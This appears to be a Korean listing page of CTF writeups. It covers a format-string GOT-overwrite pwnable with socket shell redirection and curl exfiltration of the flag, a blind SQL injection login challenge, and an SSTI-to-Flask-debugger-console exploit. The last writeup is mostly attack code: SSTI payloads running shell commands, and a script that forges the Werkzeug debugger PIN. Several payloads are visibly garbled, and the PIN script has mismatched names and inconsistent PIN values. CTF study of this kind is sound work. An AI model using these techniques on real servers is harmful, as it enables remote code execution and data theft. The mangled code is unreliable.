모든 Writeup

Writeup 작성
Dreamhack CTF Season 2 Round #4
A
Chatbot
Chatbot 출제된 CTF: Dreamhack CTF Season 2 Round #4 분야: Pwnable 키워드: TCP/IP Server Client, FSB (Format String Bug), GOT Overwrite, Request Bin, File Descriptor Redirection 난이도: ★★☆☆☆ 배경 본 문제는 TCP/IP 소켓 프로그래밍으로 구현된 서버 프로그램이 제공됩니다. 본 문제를 해결하려면, FSB (Format String Bug)로 임의 메모리 주소에 임의 값을 덮어쓸 수 있는 능력이 필요합니다. 공격자는 소켓의 파일 디스크립터로 통신하므로 stdout으로 출력되는 결과를 볼 수 없기 때문에 이 점도 고려해야 합니다. 이를 위해 플래그를 curl 명령어로 Request Bin에 전송하거나, 공격자 소켓의 파일 디스크립터로 리다이렉션할 수 있습니다. 본 문제를 통해 풀이자는 TCP/IP 소켓 프로그래밍으로 구현된 서버 프로그램을 분석하고 취약점을 찾아서 공격하게 됩니다. 이 과정에서 프로그램 분석 능력을 기르고 프로그램 취약점의 위험성을 느끼며, 안전한 소스 코드를 작성하게 되는 데에 취지가 있습니다. 풀이 프로그램 분석 TCP/IP 소켓 프로그래밍으로 구현된 Chatbot 서버와 클라이언트 바이너리가 주어집니다. nc 명령어 또는 클라이언트 바이너리를 사용해서 서버에 접속하여 봇과 채팅을 나눌 수 있습니다. 클라이언트가 서버에 메시지를 보내면 서버는 무작위 메시지를 클라이언트에게 보냅니다. 서버는 몇 가지 명령어를 지원합니다. /quit: 채팅을 끝냅니다. /addmsg [메시지]: 봇이 클라이언트에게 보낼 무작위 메시지에 [메시지]를 추가합니다. FSB (Format String Bug) FSB (Format String Bug)는 printf(), sprintf() 그리고 snprintf()와 같이 포맷 스트링을 사용하는 함수에서 발생하는 버그입니다. "%c %d %x"와 같은 문자열이 포맷 스트링(Format String) 입니다. %c, %d, 그리고 %x는 포맷 식별자(Format Identifier) 입니다. 포맷 식별자가 인자 갯수보다 많으면 FSB라 부릅니다. FSB를 악용하면 공격자는 임의 주소로부터 값을 읽거나 임의 주소에 값을 쓸 수 있습니다. chatbot_server.c에 FSB 취약점이 존재합니다. 클라이언트가 채팅을 보내면 서버는 준비된 무작위 메시지를 클라이언트에게 보냅니다. 그 코드는 다음과 같습니다: c memset(msg, 0x00, sizeof(msg)); botmsg = PickRandomMessage(&botmsgs); snprintf(msg, sizeof(msg), bot_msg, 0); if (write(clnt_sockfd, msg, sizeof(msg)) == -1) PrintError("write() error."); botmsgs에서 클라이언트에게 보낼 메시지 botmsg를 무작위로 뽑습니다. snprintf() 함수가 bot_msg를 msg에 옮깁니다. msg는 클라이언트에게 전송됩니다. snprintf() 함수가 botmsg를 msg로 옮기는 과정에서 FSB가 발생합니다. snprintf()에서 포맷 스트링을 의미하는 세 번째 파라미터에 botmsg가 옵니다. botmsg는 botmsgs에서 선택되므로 bot_msgs를 컨트롤하면 임의의 FSB 공격 페이로드를 실행할 수 있습니다. bot_msgs는 클라이언트가 /addmsg [메시지] 명령어로 컨트롤할 수 있습니다. /addmsg [메시지]명령어를 처리하는 서버 코드는 다음과 같습니다: c if (!memcmp(msg, "/addmsg ", sizeof("/addmsg"))) { memset(botmsgs[i % MAXBOTMSGS], 0x00, BOTMSG_SIZE); strncpy(botmsgs[i++ % MAXBOTMSGS], &msg[8], BOTMSG_SIZE - 1); 따라서 /addmsg [FSB 페이로드]로 bot_msgs를 컨트롤하여 FSB 공격 페이로드를 실행할 수 있습니다. 일반적으로 printf(input);와 같이 간단한 FSB는 컴파일러가 경고 메시지를 띄우지만, 본 문제 소스 코드처럼 컴파일러가 FSB를 잡아내지 못할 수 있습니다. 그만큼 찾기 어려울 수 있으므로 주의 깊게 눈으로 코드를 분석하여 찾거나 포맷 스트링 버그 페이로드를 입력하여 테스트해보면서 찾을 필요가 있습니다. GOT Overwrite FSB를 사용하면 임의 메모리 주소에 임의 값을 덮어쓸 수 있습니다. chatbot_server 바이너리는 PIE (Position Indenpendent Exectuables)가 없고, Partial RELRO (Partial Relocation Read-Only)가 적용되어 있으므로 GOT 영역 주소는 고정이며 쓰기 권한이 있습니다. 따라서 GOT Overwrite를 시도할 수 있습니다. FSB를 사용해서 strcmp()의 GOT를 system()의 GOT로 덮어쓰면, 다음의 /quit 명령어 검증 부분에서 임의 쉘 명령어를 실행할 수 있게 됩니다: c if (read(clnt_sockfd, msg, sizeof(msg)) == -1) PrintError("read() error."); printf("client: %s\n", msg); if (!strcmp(msg, "/quit")) break; Request Bin GOT Overwrite 덕분에 이제 원하는 명령어를 실행할 수 있지만, 명령어의 결과가 stdout(1번 파일 디스크립터)으로 출력됩니다. 소켓 파일 디스크립터로 통신하는 클라이언트는 명령어의 결과를 바로 볼 수 없습니다. 이때 curl 명령어로 플래그를 서버에 전송해서 받아보는 방법으로 문제를 해결할 수 있습니다. 이 방법을 쓰려면 플래그가 담긴 HTTP 요청을 수신할 서버가 필요하지만, Request Bin을 이용하면 개인 서버 없이 요청을 받아볼 수 있습니다. 드림핵 툴즈 서비스에서 Request Bin을 사용할 수 있습니다. File Descriptor Redirection stdin/stdout을 클라이언트 소켓의 파일 디스크립터로 리다이렉션하는 방법으로도 문제를 해결할 수 있습니다. 0번, 1번, 그리고 2번 파일 디스크립터는 순서대로 stdin, stdout, 그리고 stderr가 차지하고 있습니다. 따라서 서버 코드 순서상 서버 소켓의 파일 디스크립터가 3번이고 클라이언트 소켓의 파일 디스크립터가 4번임을 추측할 수 있습니다. sh<&4 >&4;을 system() 인자로 넘겨 실행하면 stdin과 stdout이 클라이언트 소켓의 파일 디스크립터로 리다이렉션된 쉘을 획득합니다. 클라이언트는 이 쉘을 통해 플래그를 구할 수 있습니다. 레퍼런스 https://dreamhack.io/lecture/courses/3 https://dreamhack.io/lecture/courses/66 https://dreamhack.io/lecture/courses/110 https://dreamhack.io/lecture/courses/114 https://tools.dreamhack.games/main
Dreamhack CTF Season 2 Round #4
B
Login Page
Login Page 출제된 CTF: Dreamhack CTF Season 2 Round #4 분야: Web 키워드: Flask, MySQL, SQL Injection, Blind SQL Injection, Improper Session Handling 난이도: ★★☆☆☆ 배경 본 문제는 로그인 검증을 우회하는 SQL Injection 페이로드를 수집하기 위해 만들어진 가상의 로그인 페이지입니다. 본 문제를 해결하려면 Flask와 MySQL로 구현된 웹 애플리케이션을 분석할 수 있는 능력이 필요합니다. 웹 애플리케이션에서 SQL Injection 취약점과 세션을 부적절하게 사용하는 로직 버그를 찾아야 합니다. 발견한 취약점과 버그를 악용하여 Blind SQL Injection을 수행하면 문제를 풀 수 있습니다. 취약한 코드를 분석하고 공격해보며 그 위험성을 몸소 느끼고 안전한 코드를 작성하는 것이 본 문제의 취지입니다. 풀이 프로그램 분석 본 문제는 로그인에 성공하면 플래그가 출력되는 문제입니다. Flask와 MySQL로 구현된 로그인 페이지입니다. 첨부 파일로 주어진 app.py의 login() 함수에 로그인 로직이 구현되어 있습니다. 분석해보면, MySQL 쿼리를 사용한 로그인 검증을 통과해야할 뿐만 아니라 입력한 username/password가 실제 username/password와 동일해야 플래그를 출력한다는 사실을 알 수 있습니다. init.sql을 분석하면 데이터베이스 reset_db가 생성된다는 사실을 알 수 있습니다. 그 안에 테이블 users가 생성됩니다. 테이블에는 admin 계정 정보가 추가됩니다. admin의 비밀번호는 웹 서버가 실행되기 전 인코딩된 urandom 16바이트로 초기화됩니다. 로그인을 5번 실패해도 초기화됩니다. SQL Injection login() 함수에서 MySQL 쿼리를 사용하여 로그인을 검증하는 코드에 SQL Injection 취약점이 존재합니다. 코드는 다음과 같습니다: python ... args = request.form ... username = args['username'] password = args['password'] ... Query the user. done = False while not done: try: query = 'SELECT * FROM users WHERE username = \'{0}\' ' \ 'AND password = \'{1}\'' with lock: query = query.format(username, password) cursor.execute(query) ret = cursor.fetchone() done = True except pymysql.err.InterfaceError: db.close() db, cursor = connect_mysql() ... 공격자가 마음대로 입력할 수 있는 username과 password가 그대로 쿼리에 삽입되어 실행되므로 SQL Injection이 발생합니다. SQL Injection 공격으로 MySQL 쿼리를 사용하는 로그인 검증 로직을 우회할 수 있지만, 입력한 username/password가 실제 username/password와 동일하지 않으므로 플래그를 얻을 수 없습니다. 대신 SQL Injection을 admin의 비밀번호를 알아내는 데에 사용할 수 있을 것입니다. Blind SQL Injection SQL Injection 쿼리가 반환하는 데이터가 공격자 화면에 출력되는 것은 아닙니다. 따라서 Blind SQL Injection 공격이 필요할 수 있습니다. 많은 키워드와 문자를 필터링하지만, OR, IF, SELECT, FROM, WHERE, ORD, MID, AND, BENCHMARK 등을 사용하여 Time-Based SQL Injection을 수행할 수 있습니다. 부적절한 세션 사용 본 웹 애플리케이션에 로그인을 5번 실패하면 admin의 비밀번호가 초기화되는 로직이 있습니다. 이때 세션 단위로 실패 횟수를 체크하므로, A 세션에서 4번 실패하고, B 세션에서 4번 실패하는 경우 비밀번호가 초기화되지 않습니다. 이러한 부적절한 세션 사용 로직을 악용하면 비밀번호를 초기화시키지 않고 SQL Injection을 무제한 시도하여 비밀번호를 알아낼 수 있습니다. 레퍼런스 https://learn.dreamhack.io/166 https://dreamhack.io/lecture/courses/191
Dreamhack CTF Season 2 Round #3
B
Holymoly
해당 풀이는 Link로 이전 되었습니다.
Dreamhack CTF Season 2 Round #3
A
Dream Gallery
해당 풀이는 Link로 이전 되었습니다.
Dreamhack CTF Season 2 Round #3
B
Holymoly
해당 풀이는 Link로 이전 되었습니다.
제8회 BoB 정보보안 CTF(BISC)
D
I can Read!
SSTI 공격 가능 curl을 통해 internal서버에 요청가능 디버깅 모드가 켜진 internal 서버의 console 접근 가능 console을 사용하기 위한 console pin exploit internal 서버의 console을 통해 flag 획득 SSTI 취약점 먼저 main의 E404를 보면 rendertemplatestring(page)를 통해 SSTI 공격이 가능하다는 것을 알았다. python @app.route('/<path:s>') def E404(s): page = f''' <h1>404 : {s} Not Found</h1> <p>The requested URL was not found on this server.</p> ''' return rendertemplatestring(page) 그래서 해당 payload를 요청해 /flag 파일을 읽으려 했지만 Permission Denied가 떴다. python {{''.class.mro1].subclasses()[395.communicate()}} 404 : (b'', b'cat: /flag: Permission denied\n') Not Found 일단 Dockerfile에서 /flag파일의 권한이 700으로 되어 있었고 /run.sh을 읽어보니 main에 있는 app.py는 user 권한으로 admin에 있는 app.py는 root 권한으로 실행되고 있음을 확인할 수 있었다. docker WORKDIR /var/www/ COPY main ./main/ COPY admin ./admin/ RUN chmod 755 /var/www/ COPY flag / RUN chmod 700 /flag ADD run.sh /run.sh RUN useradd user CMD ["/run.sh"] EXPOSE 5000 docker %7B%7B''.class.mro1].subclasses()[395.communicate()%7D%7D (b'#!/bin/sh\n\nsu - user -c "nohup python3 /var/www/main/app.py 1> /dev/null 2>&1 &"\npython3 /var/www/admin/app.py\n', b'') Admin 페이지 접근 dockerfile 보면 curl 설치되어 있고 curl을 통해 해당 서버의 admin 페이지에 request를 보내 접근할 수 있다. docker %7B%7B''.class.mro1].subclasses()[395.communicate()%7D%7D !writeup1 Admin 페이지에서의 취약점 Admin page의 소스코드를 보면 flask debug 모드가 켜져있다. 따라서 코드 실행 시 error가 발생되면 웹 상에서 console을 이용해 명령을 실행할 수 있고 실제로 /keygen/1 식으로 문자 하나만을 넘겨주게 되면 Zero Division error가 나면서 console을 사용할 수 페이지 소스가 response 되는 것을 알 수 있다. python @app.route('/keygen/<path:string>') def keygen(string): n = len(string)-1 a = hashlib.md5(string.encode('utf-8')) return str(hex(int(int(a.hexdigest(),16)/n))) if name == 'main': app.run(debug=True,host='0.0.0.0', port=8000) !writeup2 Console 사용을 위한 작업 Console 사용을 위한 PIN 인증 Console 사용을 위해 넘겨줄 parameter Console 사용을 위한 PIN 인증 http://localhost:8000/console로 접속하면 Console Lock이 걸려있고 PIN을 인증해야 한다. PIN 번호는 flask debugger pin exploit을 통해 알 수 있다. 해당 payload를 통해 pin exploit을 위해 필요한 데이터를 얻을 수 있고 python {{''.class.mro1].subclasses()[395)"',shell=True,stdout=-1,stderr=-1).communicate()}} {{''.class.mro1].subclasses()[395.communicate()}} {{''.class.mro1].subclasses()[395.communicate()}} 아래와 같이 PIN을 얻을 수 있다. make_pin.py python import requests import hashlib from itertools import chain USERNAME = "root" MODNAME = "flask.app" GETATTRAPP = "Flask" GETATTRMOD = "/usr/local/lib/python3.8/site-packages/flask/app.py" MAC = "187999308500481" C_GROUP = b"libpod-389a7f43c45a4d1400d87193210aecd4e1f97a9bc520e6398ca6be4328bc24e2" MACHINEID = b"bdf06ed5-74c9-4321-8900-66e24e315646" + CGROUP def Mac2Int(_mac): hexmac = "" addr = _mac.split(':') for i in addr: hexmac += i return int(hexmac, 16) if name == "main": rv = None num = None #macaddr = Mac2_Int(MAC) probablypublicbits = [ USERNAME, MODNAME, GETATTRAPP, GETATTRMOD, ] privatebits = [MAC, MACHINEID] print(probablypublicbits) print(private_bits) h = hashlib.sha1() for bit in chain(probablypublicbits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookiename = "_wzd" + h.hexdigest()[:20] if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + groupsize].rjust(groupsize, "0") for x in range(0, len(num), group_size) ) break else: rv = num print("PIN: ", rv) 754-225-105 > 참고 > > > werkzeug/init.py at b1911cd0a054f92fa83302cdb520d19449c0b87b · pallets/werkzeug > PIN 인증을 할 때 필요한 parameter가 있는데 각각 debugger, cmd, pin, s이다. 찾아보니 debugger=yes&cmd=pinauth&pin=766-480-641로 알고있고 s의 값만을 알면된다. curl http://localhost:8000/console을 통해 SECRET이 leak되는 것을 볼 수 있다. !writeup3 PIN이 인증되었을 때 결과와 세션을 유지하기 위한 cookie 값을 출력하는 payload를 보냈다. python %7B%7B''.class.mro1].subclasses()[395.communicate()%7D%7D payload를 보낸 후 cookie가 setting 된 것과 인증에 성공한 것을 볼 수 있다. !writeup4 exploit curl --cookie 를 통해 세션을 유지시켜줬고 cmd parameter에 명령어를 보내 flag를 얻었다. 추가로 python 명령을 시켜주기 위한 double quote과 single quote이 부족해서 포맷스트링으로 payload를 작성했다. python {{''.class.mro1].subclasses()[395.read()"),shell=True,stdout=-1,stderr=-1).communicate()}} !writeup5 flag BISC{HOwdIdy0urEadTH3F14gwItHy0urpErM1SSiON?}
Dreamhack CTF Season 2 Round #2
B
Testify
해당 풀이는 Link로 이전 되었습니다.
Dreamhack CTF Season 2 Round #2
A
Sea of Stack
해당 풀이는 Link로 이전 되었습니다.
Dreamhack CTF Season 2 Round #2
A
Sea of Stack
해당 풀이는 Link로 이전 되었습니다.
Dreamhack CTF Season 2 Round #2
B
Testify
해당 풀이는 Link로 이전 되었습니다.